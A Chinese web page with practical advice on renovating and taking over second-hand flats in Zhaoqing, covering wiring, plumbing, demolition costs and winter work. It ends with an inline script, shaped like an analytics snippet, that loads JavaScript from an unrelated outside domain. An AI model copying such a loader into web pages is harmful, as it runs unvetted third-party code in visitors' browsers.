肇庆二手房装修应该注意什么?

肇庆二手房装修应该注意什么?二手房装修其实要注意的东西有很多，首先要考虑二手房的使用年份，二手房大小以及布局，所以在装修二手房的时候也是让业主很费心的事情，装修二手房要注意整体的格调以及装修风格，不同的装修满足的人群不一样，好的装修风格可以让人心旷神怡，肇庆二手房装修具体要注意什么，我们来看看下面是怎么说的。肇庆二手房装修效果图二手房是针对开发商手里的商品房而言。凡产权明晰、经过一手买卖之后，再行上市的房屋，均可称之为二手房。二手房与商品房相比，有以下特点:1：性价比相对比较高，与周边新楼盘相比价格上有很大优势。2：社区相对比较成熟，配套设施比较完善，生活方便。3：一般来说，距市中心较近，交通方便。4：物业管理比较成熟。选择二手房，装修时要注意以下问题：1：户型有局限性，结构不合理。大部分二手房是砖混结构，户型不能进行大拆大改，移门口时需先下过梁。凡墙体厚度在24cm以上，均属于承重墙，不能砸。2：卫生间贴砖，要重新做防水。3：原房子的水管大部分是铁管，已经严重锈蚀，建议换成PPR管。燃气管道老化。为入住后带来安全隐患，建议通过燃气公司，进行检修。4：电路严重老化，很多老房的电源线还是铝芯线，荷载已经不能满足现代生活的需要。建议将全部线路换成铜芯线，特别是入户线。进户以后自己装一个配电盘，按使用功能区划分，多装几路空开。重新规划开关、插座的位置。5：墙面看似平整，但内部很多地方已经空鼓，所以装修时应该将原大白铲掉重刮。6：关于原阳台改厨房，要解决好上下水和电的问题。7：门窗改造，建议将原木窗或铝合金窗换成断桥铝或塑钢窗。8：很多二手房的暖气还没分户。装修时要预留分户后的暖气管道接口。同样面积的二手房比新房在装修中要多花费一些钱。原因是二手房有一些拆除费用，水暖电的改造费用要比新房多一些。这些大家都要有思想准备。肇庆二手房装修效果图装修的基本顺序是什么规划设计——砸墙排渣——砌墙抹灰——改上、下水、改电、改暖气或改地热——做防水——贴瓷砖——木工制作——自己做橱柜或安整体厨柜——刮大白、油漆家具、刷乳胶漆——安装套装门——安开关、插座、灯具——铺地板——进家具。以上顺序也不是一成不变的，比如：安装暖气和家具的地方。需要提前刮大白。关于砸墙1.材料准备：编织袋，粮店或小区门口建材店有售，每个0.25元。每立方渣需50个左右。铁锹一把，笤帚一把。2.组织施工：a.整面墙只砸一部分，砸与不砸之间要划线切割。b.有强弱电的要卸掉元件。c.有地热的距离墙体200mm以外不能动。3.施工费：砸墙，厚度为20公分以内的每平15元;30公分的每平30元。钢筋混凝土，每平80元。以上包括装袋，清扫地面。排渣，每层每袋0.3元，用电梯三层以上按三层计算4.砸墙后，排渣量的计算：墙体厚度100mm左右，每平按6袋排渣量计算，墙体厚度160mm左右，每平按10袋排渣量计算;墙体厚度300mm左右，每平按20袋排渣量计算。改地热需要把原有地面找平层砸掉，每平15元，每平按6袋排渣量计算。注意事项：砸墙排渣没啥技术含量，别把黄大锤请回家就行了。冬季能不能装修一些小区的交房时间正好赶上冬季，业主们拿到钥匙以后就开始考虑装修的事了。很多人问：冬天能不能装修?我可以肯定的告诉大家，冬天能装修。但是，很多细节问题要引起大家的足够重视，你所聘请的施工人员能做到吗。下面我讲一讲冬天装修的好处和应该注意的问题。一：冬季装修的好处1.冬季已经进入装修的“淡季”，如果你选择装修公司为你装修，他会推出一些打折、优惠的促销措施，这时候签合同，能省下一部分资金(小心打折陷阱).设计人员不忙着赶活，会静下心来推敲细节。2.很多装修材料冬天开始促销或甩卖，又能为你省下一部分资金。3.冬季天干物燥，没有雨水困扰，装修材料处于干燥状态，便于施工。4.冬季施工人员活儿少，不赶工期，只要监督措施得力，能把活儿做细。二：冬季装修应该注意的问题1.冬季装修室内温度必须保证在5°c以上，如果动油漆，要在8°c以上。2.购买的装修材料，至少在室内存放24小时以上，使之达到室温标准;木质装修材料提前3----5天购买，以挥发因温度变化而析出的水分。3.石膏、腻子粉不能刮的太厚，否则会因失水过快而开裂;刮大白、刷乳胶漆以后要紧闭门窗闷两天，以避免因失水过快而导致墙面出现细小裂缝。4.门与门口之间、橱柜门与门之间，抽屉与边框之间留缝要比夏季多1mm，避免因夏季膨胀而引起的关不上的麻烦。5.不要把板材直接放在地热供暖的地面上，远离暖气片1m以外。6.购买水性装饰材料及胶类注意运输途中保温。7.室内采取一定的保湿措施，以避免漆面和木器接口因急剧收缩而引起的各种开裂现象。8.地板铺装不要过紧。9.考虑色调问题：冬季装修，人们不知不觉喜欢偏暖色调，到了夏季就难受了。所以，即使你喜欢很冷很暖的颜色，也要用适中的颜色来调节一下，比如白色或中间色。10.冬天能装不能住。肇庆二手房装修效果图因为甲醛等污染物的挥发量与温度有很大关系，当室内温度低于20℃时，开窗通风去除装修污染的效果便开始大大减弱;当室内温度低于10℃时，几乎所有的装修污染都将积存在室内，不再向外释放;即使整日大敞窗户通风，去除污染的效果也是微乎其微。此外，秋冬季节装修由于挥发出来的有害物质少，即使材料不够环保，刺激性的气味也不太明显，很多人容易忽略装修污染。入住后，室内取暖器、空调一打开，“冻住”的有毒气体就会慢慢释放出来，其危害可想而知。关注土巴兔装修网，了解更多有关于肇庆二手房装修应该注意什么相关知识。

二手房交房注意事项 您真的了解吗？

随着大都市的扩张，许多新楼盘都建设在城乡结合部地区。边缘化的地理位置让很多新楼盘面临生活圈子狭窄，交通出行不便的尴尬局面。所以，近些年来，二手房市场的逐年兴起就不足为怪了。二手房交房注意事项与毛坯房有着非常大的区别，毛坯房的很多问题是比较直观的。而二手房潜在的问题却需要仔细考察。这篇介绍二手房交房注意事项的文章，您真的有必要仔细了解。首先、二手房的房屋证件。其次、二手房室内基础设施。最后、二手房的物业情况。一、二手房的房屋证件二手房交房注意事项中涉及到一些纸质证件的核对。关于对方的身份，一定要通过核实有效证件来确定。除此以外，还需要到房管局查实核验对方的房产证信息。如果房屋共有权为多人，则要对方出示所有的共有人有效证件以便查验。另外，如果房屋是出租状态，一定要对方出示承租人的书面同意材料。二、二手房室内基础设施在二手房交房注意事项中与毛坯房室内基础设施的验收不同，二手房的室内基础设施验收需要特定的检测手段，例如厨房、阳台、卫生间的基础设施检查，由于已经覆盖了初级装修，很多内部水电线路的检测需要专业的监理人员协助才能完成。三、二手房的物业情况关于二手房的物业情况，主要是目前房屋的水电费、垃圾清理费、煤气费、电梯费等涉及物业的费用是否已经结算清晰。这是二手房交房注意事项中最容易被忽略的交付细节。二手房由于性价比高，地理环境优势明显，逐渐成为很多都市人购房的新选择。希望这篇文章，可以帮助您了解更多关于二手房交付的注意事项。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();